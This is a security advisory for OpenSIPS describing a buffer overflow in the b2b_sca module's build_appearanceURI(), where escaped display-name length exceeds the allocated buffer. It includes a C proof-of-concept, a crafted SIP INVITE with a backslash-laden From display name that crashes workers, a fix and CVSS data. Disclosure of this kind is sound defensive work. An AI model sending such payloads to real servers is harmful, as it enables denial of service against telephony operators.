Skip to content

Heap/global buffer overflow in b2b_sca build_appearanceURI() via attacker-controlled From display name

High
razvancrainea published GHSA-g97q-m2gv-f5vc Aug 5, 2026

Package

opensips (C)

Affected versions

>= 4.0.0, < 4.0.1
>= 3.6.0, < 3.6.7

Patched versions

4.0.1
3.6.7

Description

Summary

build_appearanceURI() (modules/b2b_sca/sca_logic.c) sizes its output buffer from the RAW display-name length but writes the EXPANDED length produced by escape_common(), which doubles each ' " \ \0 to two bytes. A SIP From display name with 5+ escapable characters overruns the buffer by up to ~75 bytes with attacker-controlled content, crashing the worker (denial of service).

Root cause

modules/b2b_sca/sca_logic.c:311-349:

    if (size > CALL_INFO_APPEARANCE_URI_LEN /* 64 */) {
        p = (char *)pkg_malloc(size);                  /* heap alloc from RAW len */
        ...
    } else {
        p = call_info_apperance_uri->s = call_info_apperance_uri_buf; /* static char[64] */
    }
    if (display->len < 80) {
        escaped_display_size = escape_common(escaped_display,
display->s, display->len);
        if (escaped_display_size) {
            memcpy(p, escaped_display, escaped_display_size);   /*
writes EXPANDED len */
            p += escaped_display_size; *p = ' '; p++;
        }
    }
    *p = '<'; p++;
    memcpy(p, uri->s, uri->len); p += uri->len;
    *p = '>'; p++;

escape_common()](strcommon.c:35-67) emits 2 bytes per ' " \ \0. Bytes written = escape_common_len (<= 2*display->len) + uri->len + 3, while the allocation reserves only display->len + uri->len + 7. It overruns whenever the display name has >= 5
escapable characters; the display->len < 80 guard caps the overrun at ~75 bytes.
Two branches: size > 64 overruns the pkg_malloc chunk (common case); size <= 64 overruns the static call_info_apperance_uri_buf[64]. The sibling build_absoluteURI() (sca_logic.c:351) is NOT affected (it copies host/port without expansion).

Reachability

sca_init_request() -> get_appearance_name_addr(msg). With appearance_name_addr_spec unset (the default), this returns msg->from->parsed (b2b_sca.c:488), so display is the inbound INVITE's From display name. parse_to() keeps
backslashes/quotes verbatim (parse_to.c:642-643/704/709), so they reach escape_common() and are doubled. The
From display name is not covered by digest authentication.

Precondition

b2b_sca loaded and sca_init_request() invoked in the routing script (the SCA/BLF feature).
Typical SCA deployments authenticate endpoints, so the realistic attacker is an authenticated subscriber (PR:L); it is unauthenticated (PR:N) only if the SCA route runs before authentication — please adjust the vector to PR:L if your supported
configurations always authenticate first.

Reproduction

Minimal self-contained PoC (escape_common() and build_appearanceURI() copied verbatim from strcommon.c:35-67 and sca_logic.c:311-349, pkg_malloc->malloc).
Build & run:
clang -fsanitize=address -O0 poc.c -o poc && ./poc

    #include <stdlib.h>
    #include <string.h>
    #include <stdio.h>
    typedef struct { char *s; int len; } str;

    int escape_common(char *dst, const char *src, int src_len) { /* strcommon.c:35 */
        int i, j = 0;
        if (!dst || !src || src_len <= 0) return 0;
        for (i = 0; i < src_len; i++) switch (src[i]) {
            case '\'': case '"': case '\\': dst[j++]='\\'; dst[j++]=src[i]; break;
            case '\0': dst[j++]='\\'; dst[j++]='0'; break;
            default:   dst[j++]=src[i];
        }
        return j;
    }

    #define CALL_INFO_APPEARANCE_URI_LEN 64
    static char call_info_apperance_uri_buf[CALL_INFO_APPEARANCE_URI_LEN];

    int build_appearanceURI(str *display, str *uri, str *out) { /* sca_logic.c:311 */
        unsigned int size; int esc; char *p; char escaped_display[256];
        size = display->len + 5 + uri->len + 2;                     /* capacity from RAW len */
        if (size > CALL_INFO_APPEARANCE_URI_LEN) { p = malloc(size);
if (!p) return -1; out->s = p; }
        else p = out->s = call_info_apperance_uri_buf;
        if (display->len < 80) {
            esc = escape_common(escaped_display, display->s, display->len);  /* EXPANDED len */
            if (esc) { memcpy(p, escaped_display, esc); p += esc; *p = ' '; p++; }  /* overrun */
        }
        *p='<'; p++;
        memcpy(p, uri->s, uri->len); p += uri->len;
        *p='>'; p++;
        out->len = p - out->s;
        return 0;
    }

    int main(void) {
        /* From display name as parse_to() leaves it: '"' + 60 backslashes + '"' */
        char dbuf[62]; dbuf[0]='"'; memset(dbuf+1, '\\', 60); dbuf[61]='"';
        str display = { dbuf, 62 };                 /* 62 escapable chars */
        str uri = { "sip:victim@host", 15 };
        str out = { 0, 0 };
        /* alloc = 62+15+7 = 84 ; escape_common writes 124 -> overruns the 84-byte chunk */
        build_appearanceURI(&display, &uri, &out);
        printf("out.len=%d\n", out.len);
        return 0;
    }

Output:

==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 124 at 0x508000000074 thread T0
#1 ... in build_appearanceURI
0x508000000074 is located 0 bytes after 84-byte region

Against a running OpenSIPS: load b2b_sca with appearance_name_addr_spec_param unset and shared_line_spec_param="$fU", call sca_init_request() on INVITE, then send one INVITE whose From display name is a quoted string of 60 backslashes (From: "\\\\...(60)...\\" <sip:a@b>;tag=1). Build with -DDBG_MALLOC or ASan to see the abort in build_appearanceURI() (sca_logic.c:333).

Suggested fix

Size the buffer for the worst-case 2x expansion, or bound-check before each memcpy:

size = 2*display->len + 5 + uri->len + 2; /* escape_common is <= 2x */

or verify (escape_common_len + uri->len + 3) <= capacity before writing.

Reported

Reported by R4mbb of KRsecurity

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2026-54535

Weaknesses

Heap-based Buffer Overflow

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Learn more on MITRE.

Credits